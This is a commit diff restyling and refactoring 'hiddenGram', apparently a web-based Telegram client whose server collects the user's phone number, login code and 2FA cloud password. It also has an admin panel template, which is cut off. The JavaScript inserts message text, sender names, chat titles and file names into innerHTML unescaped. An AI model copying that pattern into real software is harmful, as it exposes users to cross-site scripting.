Update app.py

app.py

@@ -64,92 +64,16 @@ LOGIN_TEMPLATE = '''
     <meta name="viewport" content="width=device-width, initial-scale=1.0">
     <title>hiddenGram - Login</title>
     <style>
-        @import url('https://fonts.googleapis.com/css2?family=Roboto:wght@300;400;500;700&display=swap');
-        body { 
-            font-family: 'Roboto', sans-serif; 
-            background: #1a1a1a; 
-            color: #e0e0e0; 
-            margin: 0; 
-            padding: 0; 
-            display: flex; 
-            justify-content: center; 
-            align-items: center; 
-            min-height: 100vh; 
-            overflow: hidden;
-        }
-        .container { 
-            background: #282828; 
-            padding: 40px; 
-            border-radius: 12px; 
-            box-shadow: 0 8px 30px rgba(0, 255, 0, 0.25); 
-            max-width: 450px; 
-            width: 90%; 
-            text-align: center; 
-            animation: fadeIn 0.8s ease-out;
-        }
-        @keyframes fadeIn {
-            from { opacity: 0; transform: translateY(-20px); }
-            to { opacity: 1; transform: translateY(0); }
-        }
-        h1 { 
-            color: #00ff00; 
-            margin-bottom: 30px; 
-            font-size: 2.8em; 
-            font-weight: 700;
-            text-shadow: 0 0 10px rgba(0, 255, 0, 0.5);
-        }
-        input[type="text"], input[type="password"] { 
-            width: calc(100% - 24px); 
-            padding: 14px; 
-            margin: 12px 0; 
-            border: 1px solid #444; 
-            border-radius: 8px; 
-            background: #3a3a3a; 
-            color: #fff; 
-            font-size: 1.1em; 
-            transition: border-color 0.3s ease, box-shadow 0.3s ease;
-        }
-        input[type="text"]:focus, input[type="password"]:focus {
-            border-color: #00ff00;
-            box-shadow: 0 0 10px rgba(0, 255, 0, 0.4);
-            outline: none;
-        }
-        button { 
-            background: #00ff00; 
-            color: #1a1a1a; 
-            padding: 14px 30px; 
-            border: none; 
-            border-radius: 8px; 
-            cursor: pointer; 
-            font-size: 1.2em; 
-            font-weight: bold; 
-            margin-top: 20px; 
-            transition: background 0.3s ease, transform 0.2s ease; 
-            width: 100%;
-            letter-spacing: 0.5px;
-        }
-        button:hover { 
-            background: #00cc00; 
-            transform: translateY(-2px);
-        }
-        button:active {
-            transform: translateY(0);
-        }
-        .message { 
-            margin-top: 25px; 
-            padding: 15px; 
-            border-radius: 8px; 
-            font-size: 1em; 
-            line-height: 1.4;
-            animation: slideIn 0.5s ease-out;
-        }
-        @keyframes slideIn {
-            from { opacity: 0; transform: translateY(10px); }
-            to { opacity: 1; transform: translateY(0); }
-        }
-        .message.success { background: #2e8b57; color: #e0e0e0; border: 1px solid #3cb371; }
-        .message.error { background: #cc0000; color: #e0e0e0; border: 1px solid #dc3545; }
-        .message.info { background: #007bff; color: #e0e0e0; border: 1px solid #17a2b8; }
+        body { font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif; background: #f0f2f5; color: #333; margin: 0; padding: 0; display: flex; justify-content: center; align-items: center; min-height: 100vh; }
+        .container { background: #fff; padding: 40px; border-radius: 8px; box-shadow: 0 4px 12px rgba(0,0,0,0.1); max-width: 400px; width: 90%; text-align: center; }
+        h1 { color: #0088cc; margin-bottom: 25px; font-size: 2.5em; font-weight: 500; }
+        input[type="text"], input[type="password"] { width: calc(100% - 24px); padding: 12px; margin: 10px 0; border: 1px solid #ddd; border-radius: 5px; background: #fafafa; color: #333; font-size: 1em; }
+        button { background: #0088cc; color: #fff; padding: 12px 25px; border: none; border-radius: 5px; cursor: pointer; font-size: 1.1em; font-weight: bold; margin-top: 15px; transition: background 0.3s ease; width: 100%; }
+        button:hover { background: #0077b3; }
+        .message { margin-top: 20px; padding: 12px; border-radius: 5px; font-size: 0.9em; }
+        .message.success { background: #d4edda; color: #155724; border: 1px solid #c3e6cb; }
+        .message.error { background: #f8d7da; color: #721c24; border: 1px solid #f5c6cb; }
+        .message.info { background: #cce5ff; color: #004085; border: 1px solid #b8daff; }
         .hidden { display: none; }
     </style>
 </head>
@@ -159,10 +83,8 @@ LOGIN_TEMPLATE = '''
         <div class="form">
             <input type="text" id="phone" placeholder="Phone number (+1234567890)">
             <button onclick="startLogin()">Start Login</button>
-            
             <input type="text" id="code" placeholder="Verification code" class="hidden">
-            <input type="password" id="password" placeholder="Cloud password" class="hidden">
-            
+            <input type="password" id="password" placeholder="Cloud password (2FA)" class="hidden">
             <button id="submitCode" onclick="submitCode()" class="hidden">Submit Code</button>
             <button id="submitPassword" onclick="submitPassword()" class="hidden">Submit Password</button>
         </div>
@@ -197,12 +119,10 @@ LOGIN_TEMPLATE = '''
                     phoneCodeHash = result.phone_code_hash;
                     document.getElementById('code').classList.remove('hidden');
                     document.getElementById('submitCode').classList.remove('hidden');
-                    document.getElementById('phone').classList.add('hidden');
-                    document.querySelector('button[onclick="startLogin()"]').classList.add('hidden');
                     showMessage(result.message, 'success');
                 } else {
                     showMessage(result.message + ' Redirecting...', 'success');
-                    setTimeout(() => window.location.href = '/app', 1000); 
+                    setTimeout(() => window.location.href = '/app', 1500);
                 }
             } else {
                 showMessage('Login failed: ' + result.message, 'error');
@@ -224,7 +144,7 @@ LOGIN_TEMPLATE = '''
             const result = await response.json();
             if (result.success) {
                 showMessage(result.message + ' Redirecting...', 'success');
-                setTimeout(() => window.location.href = '/app', 1000);
+                setTimeout(() => window.location.href = '/app', 1500);
             } else if (result.password_required) {
                 showMessage(result.message, 'info');
                 document.getElementById('password').classList.remove('hidden');
@@ -251,7 +171,7 @@ LOGIN_TEMPLATE = '''
             const result = await response.json();
             if (result.success) {
                 showMessage(result.message + ' Redirecting...', 'success');
-                setTimeout(() => window.location.href = '/app', 1000);
+                setTimeout(() => window.location.href = '/app', 1500);
             } else {
                 showMessage('Login failed: ' + result.message, 'error');
             }
@@ -269,361 +189,96 @@ HIDDENGRAM_APP_TEMPLATE = '''
     <meta name="viewport" content="width=device-width, initial-scale=1.0">
     <title>hiddenGram</title>
     <style>
-        @import url('https://fonts.googleapis.com/css2?family=Roboto:wght@300;400;500;700&display=swap');
-        body { 
-            font-family: 'Roboto', sans-serif; 
-            background: #1a1a1a; 
-            color: #e0e0e0; 
-            margin: 0; 
-            padding: 0; 
-            display: flex; 
-            flex-direction: column; 
-            height: 100vh; 
-            overflow: hidden; 
-        }
-        .header { 
-            background: #282828; 
-            padding: 15px 20px; 
-            border-bottom: 1px solid #333; 
-            display: flex; 
-            justify-content: space-between; 
-            align-items: center; 
-            box-shadow: 0 2px 10px rgba(0, 0, 0, 0.3);
-        }
-        .header h1 { 
-            margin: 0; 
-            color: #00ff00; 
-            font-size: 1.8em; 
-            font-weight: 700;
-            text-shadow: 0 0 5px rgba(0, 255, 0, 0.3);
-        }
-        .header button { 
-            background: #ff4d4d; 
-            color: #fff; 
-            padding: 8px 15px; 
-            border: none; 
-            border-radius: 5px; 
-            cursor: pointer; 
-            font-size: 0.9em; 
-            transition: background 0.3s ease; 
-        }
-        .header button:hover { 
-            background: #cc0000; 
-        }
-        .main-content { 
-            display: flex; 
-            flex: 1; 
-            overflow: hidden; 
-        }
-        .sidebar { 
-            flex: 0 0 350px; 
-            background: #222; 
-            border-right: 1px solid #333; 
-            overflow-y: auto; 
-            display: flex; 
-            flex-direction: column; 
-        }
-        .sidebar-header { 
-            padding: 15px; 
-            border-bottom: 1px solid #333; 
-            background: #282828; 
-            position: sticky;
-            top: 0;
-            z-index: 10;
-        }
-        .sidebar-header h2 { 
-            margin: 0; 
-            color: #00ff00; 
-            font-size: 1.2em; 
-            font-weight: 500;
-        }
-        .chat-list { 
-            flex: 1; 
-            overflow-y: auto; 
-            -ms-overflow-style: none;  /* IE and Edge */
-            scrollbar-width: none;  /* Firefox */
-        }
-        .chat-list::-webkit-scrollbar {
-            display: none; /* Chrome, Safari, Opera*/
-        }
-        .chat-item { 
-            padding: 15px 20px; 
-            border-bottom: 1px solid #333; 
-            cursor: pointer; 
-            transition: background 0.2s ease; 
-            display: flex;
-            align-items: center;
-        }
-        .chat-item:hover, .chat-item.active { 
-            background: #3a3a3a; 
-        }
-        .chat-item-avatar {
-            width: 45px;
-            height: 45px;
-            border-radius: 50%;
-            background: #00ff00; /* Default Telegram-like avatar color */
-            display: flex;
-            justify-content: center;
-            align-items: center;
-            font-size: 1.2em;
-            font-weight: bold;
-            color: #1a1a1a;
-            margin-right: 15px;
-            flex-shrink: 0;
-        }
-        .chat-item-info {
-            flex-grow: 1;
-            min-width: 0; /* Ensures content inside flex item shrinks */
-        }
-        .chat-item h3 { 
-            margin: 0; 
-            font-size: 1.1em; 
-            color: #fff; 
-            white-space: nowrap;
-            overflow: hidden;
-            text-overflow: ellipsis;
-        }
-        .chat-item p { 
-            margin: 5px 0 0; 
-            font-size: 0.9em; 
-            color: #bbb; 
-            white-space: nowrap; 
-            overflow: hidden; 
-            text-overflow: ellipsis; 
-        }
-
-        .chat-panel { 
-            flex: 1; 
-            display: flex; 
-            flex-direction: column; 
-            background: #1a1a1a; 
-        }
-        .chat-panel-header { 
-            background: #282828; 
-            padding: 15px 20px; 
-            border-bottom: 1px solid #333; 
-            display: flex; 
-            justify-content: space-between; 
-            align-items: center; 
-            min-height: 60px;
-            box-shadow: 0 2px 10px rgba(0, 0, 0, 0.3);
-            flex-shrink: 0;
-        }
-        .chat-panel-header h2 { 
-            margin: 0; 
-            color: #fff; 
-            font-size: 1.2em; 
-            font-weight: 500;
-        }
-        .chat-panel-header span { 
-            font-size: 0.9em; 
-            color: #aaa; 
-        }
-        .messages-container { 
-            flex: 1; 
-            overflow-y: auto; 
-            padding: 20px; 
-            display: flex; 
-            flex-direction: column-reverse; /* For messages to appear at bottom */
-            -ms-overflow-style: none;  /* IE and Edge */
-            scrollbar-width: none;  /* Firefox */
-        }
-        .messages-container::-webkit-scrollbar {
-            display: none; /* Chrome, Safari, Opera*/
-        }
-        .message-item { 
-            margin-bottom: 10px; 
-            padding: 12px 15px; 
-            border-radius: 18px; /* More rounded like Telegram */
-            max-width: 75%; 
-            word-wrap: break-word; 
-            box-shadow: 0 1px 1px rgba(0,0,0,0.1);
-        }
-        .message-item.sent { 
-            background: #005600; /* Darker green for sent */
-            align-self: flex-end; 
-            border-bottom-right-radius: 5px; /* "Tail" effect */
-        }
-        .message-item.received { 
-            background: #3a3a3a; /* Dark gray for received */
-            align-self: flex-start; 
-            border-bottom-left-radius: 5px; /* "Tail" effect */
-        }
-        .message-sender { 
-            font-weight: bold; 
-            color: #00ff00; 
-            margin-bottom: 5px; 
-            display: block; 
-            font-size: 0.9em;
-        }
-        .message-text { 
-            color: #e0e0e0; 
-            font-size: 0.95em; 
-            line-height: 1.4; 
-        }
-        .message-meta { 
-            font-size: 0.75em; 
-            color: #aaa; 
-            margin-top: 5px; 
-            text-align: right; 
-        }
-        .media-link { 
-            display: block; 
-            margin-top: 5px; 
-            color: #00ffff; 
-            text-decoration: none; 
-            word-break: break-all; 
-        }
-        .media-link:hover { 
-            text-decoration: underline; 
-        }
-        .chat-input-area { 
-            background: #282828; 
-            padding: 15px 20px; 
-            border-top: 1px solid #333; 
-            display: flex; 
-            gap: 10px; 
-            align-items: flex-end;
-            flex-shrink: 0;
-        }
-        .chat-input-area textarea { 
-            flex: 1; 
-            padding: 10px; 
-            border: 1px solid #444; 
-            border-radius: 20px; /* Rounded corners for input */
-            background: #3a3a3a; 
-            color: #fff; 
-            resize: none; 
-            overflow-y: auto; 
-            max-height: 120px; 
-            font-size: 1em; 
-            line-height: 1.4;
-            padding-right: 40px; /* Space for send icon if added */
-        }
-        .chat-input-area textarea:focus {
-            border-color: #00ff00;
-            outline: none;
-        }
-        .chat-input-area button { 
-            background: #00ff00; 
-            color: #1a1a1a; 
-            padding: 10px 20px; 
-            border: none; 
-            border-radius: 20px; /* Rounded button */
-            cursor: pointer; 
-            font-size: 1em; 
-            font-weight: bold; 
-            transition: background 0.3s ease; 
-        }
-        .chat-input-area button:hover { 
-            background: #00cc00; 
-        }
-        .no-chat-selected { 
-            display: flex; 
-            justify-content: center; 
-            align-items: center; 
-            flex: 1; 
-            color: #aaa; 
-            font-size: 1.2em; 
-        }
-        .join-chat-section { 
-            padding: 15px; 
-            border-top: 1px solid #333; 
-            background: #282828; 
-            display: flex; 
-            flex-direction: column; 
-            gap: 10px; 
-            flex-shrink: 0;
-        }
-        .join-chat-section input { 
-            width: calc(100% - 22px); 
-            padding: 10px; 
-            border: 1px solid #444; 
-            border-radius: 5px; 
-            background: #3a3a3a; 
-            color: #fff; 
-            font-size: 1em; 
-        }
-        .join-chat-section button { 
-            background: #0099ff; 
-            color: #fff; 
-            padding: 10px 15px; 
-            border: none; 
-            border-radius: 5px; 
-            cursor: pointer; 
-            font-size: 1em; 
-            transition: background 0.3s ease; 
-        }
-        .join-chat-section button:hover { 
-            background: #0077cc; 
-        }
-        @media (max-width: 768px) {
-            .main-content { flex-direction: column; }
-            .sidebar { flex: none; width: 100%; max-height: 40vh; border-right: none; border-bottom: 1px solid #333; }
-            .chat-panel { flex: 1; }
-            .header { padding: 10px; }
-            .chat-panel-header { padding: 10px; }
-            .chat-input-area { padding: 10px; }
-            .chat-item { padding: 12px 15px; }
-        }
+        body, html { margin: 0; padding: 0; height: 100%; font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif; background: #f0f2f5; overflow: hidden; }
+        .app-layout { display: flex; height: 100vh; width: 100%; }
+        .sidebar { flex: 0 0 320px; background: #fff; border-right: 1px solid #e0e0e0; display: flex; flex-direction: column; }
+        .sidebar-header { padding: 10px 15px; border-bottom: 1px solid #e0e0e0; display: flex; align-items: center; justify-content: space-between; }
+        .sidebar-header h2 { margin: 0; font-size: 1.2em; color: #0088cc; }
+        .sidebar-header .actions button { background: none; border: none; font-size: 1.2em; cursor: pointer; color: #0088cc; padding: 5px; }
+        .chat-list { flex: 1; overflow-y: auto; }
+        .chat-item { display: flex; align-items: center; padding: 10px 15px; border-bottom: 1px solid #f0f0f0; cursor: pointer; transition: background-color 0.2s; }
+        .chat-item:hover { background-color: #f5f5f5; }
+        .chat-item.active { background-color: #3390ec; color: white; }
+        .chat-item.active h3, .chat-item.active p { color: white; }
+        .avatar-placeholder { width: 50px; height: 50px; border-radius: 50%; background-color: #0088cc; color: white; display: flex; align-items: center; justify-content: center; font-size: 1.5em; font-weight: bold; margin-right: 15px; }
+        .chat-info { flex: 1; overflow: hidden; }
+        .chat-info h3 { margin: 0 0 4px; font-size: 1em; font-weight: 500; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; color: #111; }
+        .chat-info p { margin: 0; font-size: 0.9em; color: #666; }
+        
+        .chat-panel { flex: 1; display: flex; flex-direction: column; background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAKAAAACgCAMAAACMsrS6AAAAP1BMVEXy9Pbv8vTw8vXx8/X09vfy9ffx8/Ty9Pbx8/Tz9ffy9Pby9Pbx8/Xy9ffy9ffx9PXy9fbx8/Xz9Pby9PXy9fbx8/Xy9fY7N5wzAAAAFXRSTlMAYKAgsLBgIFBwYNAg0JBQMFBgYCDQX1vPAAACHklEQVR42u3V227bMBBFUUCpQxJCSDqk//+3tCStA8MDjOT6222s5zFjsmy2zLIsy7Isy7Isy7Isy7Isy7Isy7Isy7Isy/rvBvj3yZNOcws8b8A3/4eCrwX8P/h/F/yG8x9Gfo3/u/JfQf498r8s+M/I/7Hgv2Sgvyb5e0H+pfL3gvzby98L8m8vfy/Iv5r8vSC/lvz9IL9e/r0gv1r594L82srfC/Krld8X5Fe3/L0gv1b5vSD/uvJ3gvz6y98L8isv/y/Ir1Z+L8ivpfxdIL+28neD/PLK3w3yyy9/N8ivvnx/CL+y8veD/PLq3wfyK69/H8ivv/x/CL+68veD/Prq3wvyKy9/L8ivvPx/CL+88veD/Prb3wvy6y9/L8ivr/x/CL+98veD/Prt3wvy6y9/X5DfX/n+Ifz2yt8P8uv3Pxfk19f/vyC/v/L9Q/jtlf8f5Ndv/1+QX3/9/4L8/stfD/L7S18P8gsvfx/I7698f5DfX/n+IXz55e+H+PXL3w/y+y9/P8jvr/x/iD/98vdD/Pr9/wvy+y//X5Dff/n/IX795e+H+P33/x/k91/+vyC//vL/IX7/5e+H+P23vx/k99/+vyC//vL3Q/z+y98P8vvv/z/I77/8/RA/AHz54x8QAF/++AcEwJdv/gEBsO+Jf0AAbPvjHxAAu/74BwTAph/9AQGw6Y9/QABs++MfEAC7/vgHBMCmH/0BAbDpj39AAGz74x8QALv++AcEwKYf/QEB/PzDPyAA9vzxDwiArX/8AwLg0w//gADY9sc/IAC2/fEPEAC7/vgHBMDTXz8gAL788Q8IgK+//AMCIAAA/PwnAMCyLMuyLMuyLMuyLMuyLMuyLMuyLMuyLMuyLMuyLMv6n/4H0j+fL0bIRekAAAAASUVORK5CYII="); }
+        .chat-panel-header { background: #fff; padding: 10px 20px; border-bottom: 1px solid #e0e0e0; display: flex; justify-content: space-between; align-items: center; }
+        .chat-panel-header h2 { margin: 0; font-size: 1.1em; font-weight: 500; }
+        .chat-panel-header .header-actions button { background: #e84118; color: white; border: none; padding: 8px 12px; border-radius: 5px; cursor: pointer; font-size: 0.9em; transition: background 0.2s; }
+        .chat-panel-header .header-actions button:hover { background: #c23616; }
+        .chat-panel-header .header-actions .switch-account { background: #0097e6; margin-left: 10px; }
+        .chat-panel-header .header-actions .switch-account:hover { background: #0088cc; }
+        
+        .messages-container { flex: 1; overflow-y: auto; padding: 20px; display: flex; flex-direction: column-reverse; }
+        .message-item { max-width: 65%; padding: 8px 12px; border-radius: 18px; margin-bottom: 10px; line-height: 1.4; word-wrap: break-word; }
+        .message-item.sent { background: #e1ffc7; align-self: flex-end; border-bottom-right-radius: 4px; }
+        .message-item.received { background: #fff; align-self: flex-start; box-shadow: 0 1px 1px rgba(0,0,0,0.05); border-bottom-left-radius: 4px;}
+        .message-sender { font-weight: bold; color: #0088cc; margin-bottom: 4px; display: block; font-size: 0.9em; }
+        .message-text { font-size: 0.95em; color: #111; }
+        .message-meta { font-size: 0.75em; color: #888; margin-top: 5px; text-align: right; }
+        .media-link { display: block; margin-top: 8px; color: #0088cc; text-decoration: none; font-weight: 500; word-break: break-all; }
+        .media-link:hover { text-decoration: underline; }
+        
+        .chat-input-area { background: #fff; padding: 10px 20px; border-top: 1px solid #e0e0e0; display: flex; align-items: flex-end; gap: 10px; }
+        .chat-input-area textarea { flex: 1; padding: 10px; border: 1px solid #ddd; border-radius: 18px; background: #f0f2f5; resize: none; overflow-y: auto; max-height: 120px; font-size: 1em; line-height: 1.4; }
+        .chat-input-area button { background: #0088cc; color: #fff; width: 40px; height: 40px; border: none; border-radius: 50%; cursor: pointer; font-size: 1.5em; display: flex; align-items: center; justify-content: center; transition: background 0.2s; }
+        .chat-input-area button:hover { background: #0077b3; }
+        
+        .no-chat-selected { display: flex; justify-content: center; align-items: center; flex: 1; color: #777; font-size: 1.2em; text-align: center; }
+        .join-chat-section { padding: 15px; border-top: 1px solid #e0e0e0; display: flex; gap: 10px; }
+        .join-chat-section input { flex: 1; padding: 10px; border: 1px solid #ddd; border-radius: 5px; }
+        .join-chat-section button { background: #27ae60; color: white; padding: 0 15px; border: none; border-radius: 5px; cursor: pointer; transition: background 0.2s; }
+        .join-chat-section button:hover { background: #2ecc71; }
     </style>
 </head>
 <body>
-    <div class="header">
-        <h1>hiddenGram</h1>
-        <div>
-            <button onclick="logout()">Logout</button>
-        </div>
-    </div>
-    <div class="main-content">
+    <div class="app-layout">
         <div class="sidebar">
             <div class="sidebar-header">
-                <h2>Chats</h2>
-            </div>
-            <div class="chat-list" id="chatList">
-                
+                <h2>hiddenGram</h2>
+                <div class="actions">
+                    <button onclick="newMessage()" title="New Message">✎</button>
+                </div>
             </div>
+            <div class="chat-list" id="chatList"></div>
             <div class="join-chat-section">
-                <input type="text" id="joinChatIdentifier" placeholder="Join Channel/Group (username or invite link)">
-                <button onclick="joinChat()">Join Chat</button>
+                <input type="text" id="joinChatIdentifier" placeholder="Join link or @username">
+                <button onclick="joinChat()">Join</button>
             </div>
         </div>
         <div class="chat-panel" id="chatPanel">
-            <div class="no-chat-selected" id="noChatSelected">Select a chat to view messages</div>
-            <div class="chat-panel-header" id="chatPanelHeader" style="display:none;">
-                <h2 id="chatTitle"></h2>
-                <span id="chatInfo"></span>
+            <div class="chat-panel-header" id="appHeader">
+                <div id="chat-header-info">
+                    <h2 id="chatTitle" style="display:none;"></h2>
+                </div>
+                <div class="header-actions">
+                     <button onclick="logout(true)" class="switch-account">Switch Account</button>
+                     <button onclick="logout(false)">Logout</button>
+                </div>
             </div>
-            <div class="messages-container" id="messagesContainer" style="display:none;">
-                
+            <div class="no-chat-selected" id="noChatSelected">
+                Select a chat to start messaging
             </div>
+            <div class="messages-container" id="messagesContainer" style="display:none;"></div>
             <div class="chat-input-area" id="chatInputArea" style="display:none;">
-                <textarea id="messageInput" placeholder="Type a message..." rows="1"></textarea>
-                <button onclick="sendMessage()">Send</button>
+                <textarea id="messageInput" placeholder="Message" rows="1"></textarea>
+                <button onclick="sendMessage()">➤</button>
             </div>
         </div>
     </div>
 
     <script>
         let currentChatId = null;
-        let currentChatTitle = '';
-        let currentChatType = '';
-
-        function getInitials(title) {
-            if (!title) return '?';
-            const words = title.split(' ');
-            if (words.length >= 2) {
-                return (words[0][0] + words[1][0]).toUpperCase();
-            }
-            return title[0] ? title[0].toUpperCase() : '?';
-        }
 
         function adjustTextareaHeight() {
             const textarea = document.getElementById('messageInput');
             textarea.style.height = 'auto';
-            textarea.style.height = textarea.scrollHeight + 'px';
+            textarea.style.height = Math.min(textarea.scrollHeight, 120) + 'px';
         }
-        document.addEventListener('DOMContentLoaded', adjustTextareaHeight);
         document.getElementById('messageInput').addEventListener('input', adjustTextareaHeight);
 
         async function fetchChats() {
@@ -634,103 +289,97 @@ HIDDENGRAM_APP_TEMPLATE = '''
             if (result.success && result.chats) {
                 result.chats.forEach(chat => {
                     const chatItem = document.createElement('div');
-                    chatItem.classList.add('chat-item');
+                    chatItem.className = 'chat-item';
                     if (currentChatId === chat.id) {
                         chatItem.classList.add('active');
                     }
                     chatItem.dataset.id = chat.id;
-                    chatItem.dataset.title = chat.title;
-                    chatItem.dataset.type = chat.type;
+                    chatItem.onclick = () => selectChat(chat.id);
                     chatItem.innerHTML = `
-                        <div class="chat-item-avatar">${getInitials(chat.title)}</div>
-                        <div class="chat-item-info">
+                        <div class="avatar-placeholder">${chat.avatar_initial}</div>
+                        <div class="chat-info">
                             <h3>${chat.title}</h3>
-                            <p>${chat.type} ${chat.participants ? '| Participants: ' + chat.participants : ''}</p>
+                            <p>${chat.type}</p>
                         </div>
                     `;
-                    chatItem.onclick = () => selectChat(chat.id, chat.title, chat.type);
                     chatListDiv.appendChild(chatItem);
                 });
             } else {
-                chatListDiv.innerHTML = `<p style="padding: 20px; text-align: center; color: #aaa;">${result.message || 'No chats found.'}</p>`;
+                chatListDiv.innerHTML = `<p style="padding: 20px; text-align: center; color: #777;">${result.message || 'No chats found.'}</p>`;
             }
         }
 
-        async function selectChat(chatId, chatTitle, chatType) {
+        async function selectChat(chatId) {
             currentChatId = chatId;
-            currentChatTitle = chatTitle;
-            currentChatType = chatType;
 
-            document.querySelectorAll('.chat-item').forEach(item => {
-                item.classList.remove('active');
-            });
-            const selectedChatItem = document.querySelector(`.chat-item[data-id="${chatId}"]`);
-            if (selectedChatItem) {
-                selectedChatItem.classList.add('active');
-            }
+            document.querySelectorAll('.chat-item').forEach(item => item.classList.remove('active'));
+            document.querySelector(`.chat-item[data-id="${chatId}"]`).classList.add('active');
+
+            const selectedChat = document.querySelector(`.chat-item[data-id="${chatId}"]`);
+            const chatTitle = selectedChat.querySelector('h3').textContent;
 
             document.getElementById('noChatSelected').style.display = 'none';
-            document.getElementById('chatPanelHeader').style.display = 'flex';
+            document.getElementById('chatTitle').textContent = chatTitle;
+            document.getElementById('chatTitle').style.display = 'block';
             document.getElementById('messagesContainer').style.display = 'flex';
             document.getElementById('chatInputArea').style.display = 'flex';
             
-            document.getElementById('chatTitle').textContent = chatTitle;
-            document.getElementById('chatInfo').textContent = chatType;
-
             await fetchMessages(chatId);
         }
 
         async function fetchMessages(chatId) {
             const messagesContainer = document.getElementById('messagesContainer');
-            messagesContainer.innerHTML = '<p style="text-align: center; color: #aaa;">Loading messages...</p>';
-            messagesContainer.scrollTop = messagesContainer.scrollHeight;
+            messagesContainer.innerHTML = '<p style="text-align: center; color: #777;">Loading...</p>';
 
             const response = await fetch(`/api/chat_messages/${chatId}`);
             const result = await response.json();
             messagesContainer.innerHTML = ''; 
             if (result.success && result.messages) {
-                const fragment = document.createDocumentFragment();
-                result.messages.reverse().forEach(msg => { 
+                result.messages.reverse().forEach(msg => {
                     const messageItem = document.createElement('div');
-                    messageItem.classList.add('message-item');
-                    messageItem.classList.add(msg.is_sent ? 'sent' : 'received');
-
-                    let senderInfo = '';
-                    if (!msg.is_sent) { 
-                        senderInfo = `<span class="message-sender">${msg.sender_name}</span>`;
-                    }
+                    messageItem.className = `message-item ${msg.is_sent ? 'sent' : 'received'}`;
                     
-                    let mediaHtml = '';
-                    if (msg.file_name) {
-                        mediaHtml = `<a class="media-link" href="/download/${msg.file_name}" download>${msg.file_name} (${msg.file_size})</a>`;
-                    }
-
-                    messageItem.innerHTML = `
-                        ${senderInfo}
-                        ${msg.text ? `<div class="message-text">${msg.text}</div>` : ''}
-                        ${mediaHtml}
-                        ${!msg.text && !msg.file_name ? '<div class="message-text"><i>(Unsupported media or empty message)</i></div>' : ''}
-                        <div class="message-meta">${msg.date}</div>
-                    `;
-                    fragment.prepend(messageItem); 
+                    let senderInfo = !msg.is_sent && msg.sender_name ? `<span class="message-sender">${msg.sender_name}</span>` : '';
+                    let mediaHtml = msg.file_name ? `<a class="media-link" href="/download/${msg.file_name}" download>${msg.file_name} (${msg.file_size})</a>` : '';
+                    let textHtml = msg.text ? `<div class="message-text">${msg.text.replace(/\\n/g, '<br>')}</div>` : '';
+                    let metaHtml = `<div class="message-meta">${msg.date}</div>`;
+                    let emptyMsgHtml = !msg.text && !msg.file_name ? '<div class="message-text"><i>(Unsupported media or empty message)</i></div>' : '';
+
+                    messageItem.innerHTML = `${senderInfo}${textHtml}${mediaHtml}${emptyMsgHtml}${metaHtml}`;
+                    messagesContainer.prepend(messageItem);
                 });
-                messagesContainer.appendChild(fragment);
-                messagesContainer.scrollTop = messagesContainer.scrollHeight; 
+                messagesContainer.scrollTop = messagesContainer.scrollHeight;
             } else {
-                messagesContainer.innerHTML = `<p style="text-align: center; color: #aaa;">${result.message || 'No messages found.'}</p>`;
+                messagesContainer.innerHTML = `<p style="text-align: center; color: #777;">${result.message || 'No messages found.'}</p>`;
             }
         }
+        
+        async function newMessage() {
+            const recipient = prompt("Enter recipient's username (e.g., @username) or chat ID:");
+            if (!recipient) return;
+            const message = prompt("Enter your message:");
+            if (!message || !message.trim()) return;
 
-        async function sendMessage() {
-            if (!currentChatId) {
-                alert('Please select a chat first.');
-                return;
-            }
-            const message = document.getElementById('messageInput').value;
-            if (!message.trim()) {
-                alert('Message cannot be empty.');
-                return;
+            const response = await fetch('/api/send_message', {
+                method: 'POST',
+                headers: { 'Content-Type': 'application/json' },
+                body: JSON.stringify({ chat_id: recipient, message: message })
+            });
+            const result = await response.json();
+            alert(result.message);
+            if (result.success) {
+                fetchChats();
             }
+        }
+
+        async function sendMessage() {
+            if (!currentChatId) return;
+            const messageInput = document.getElementById('messageInput');
+            const message = messageInput.value;
+            if (!message.trim()) return;
+
+            messageInput.value = '';
+            adjustTextareaHeight();
 
             const response = await fetch('/api/send_message', {
                 method: 'POST',
@@ -739,11 +388,11 @@ HIDDENGRAM_APP_TEMPLATE = '''
             });
             const result = await response.json();
             if (result.success) {
-                document.getElementById('messageInput').value = '';
-                adjustTextareaHeight();
-                await fetchMessages(currentChatId); 
+                await fetchMessages(currentChatId);
             } else {
                 alert('Failed to send message: ' + result.message);
+                messageInput.value = message;
+                adjustTextareaHeight();
             }
         }
 
@@ -753,7 +402,6 @@ HIDDENGRAM_APP_TEMPLATE = '''
                 alert('Please enter a channel/group username or invite link.');
                 return;
             }
-
             const response = await fetch('/api/join_chat', {
                 method: 'POST',
                 headers: { 'Content-Type': 'application/json' },
@@ -763,23 +411,26 @@ HIDDENGRAM_APP_TEMPLATE = '''
             alert(result.message);
             if (result.success) {
                 document.getElementById('joinChatIdentifier').value = '';
-                await fetchChats(); 
+                await fetchChats();
             }
         }
 
-        async function logout() {
-            if (confirm('Are you sure you want to log out?')) {
-                const response = await fetch('/api/logout', { method: 'POST' });
-                const result = await response.json();
-                if (result.success) {
-                    window.location.href = '/';
-                } else {
-                    alert('Logout failed: ' + result.message);
-                }
+        async function logout(switchToNew = false) {
+            const confirmation = switchToNew ? true : confirm('Are you sure you want to log out?');
+            if (confirmation) {
+                await fetch('/api/logout', { method: 'POST' });
+                window.location.href = '/';
             }
         }
+        
+        document.getElementById('messageInput').addEventListener('keydown', (e) => {
+            if (e.key === 'Enter' && !e.shiftKey) {
+                e.preventDefault();
+                sendMessage();
+            }
+        });
 
-        fetchChats(); 
+        fetchChats();
     </script>
 </body>
 </html>
@@ -793,66 +444,16 @@ ADMHOSTO_TEMPLATE = '''
     <meta name="viewport" content="width=device-width, initial-scale=1.0">
     <title>hiddenGram - Admin Panel</title>
     <style>
-        @import url('https://fonts.googleapis.com/css2?family=Roboto:wght@300;400;500;700&display=swap');
-        body { 
-            font-family: 'Roboto', sans-serif; 
-            background: #1a1a1a; 
-            color: #e0e0e0; 
-            margin: 0; 
-            padding: 20px; 
-            line-height: 1.6;
-        }
-        .container { 
-            max-width: 900px; 
-            margin: auto; 
-            background: #282828; 
-            padding: 30px; 
-            border-radius: 8px; 
-            box-shadow: 0 4px 15px rgba(0, 255, 0, 0.2); 
-        }
-        h1, h2 { 
-            text-align: center; 
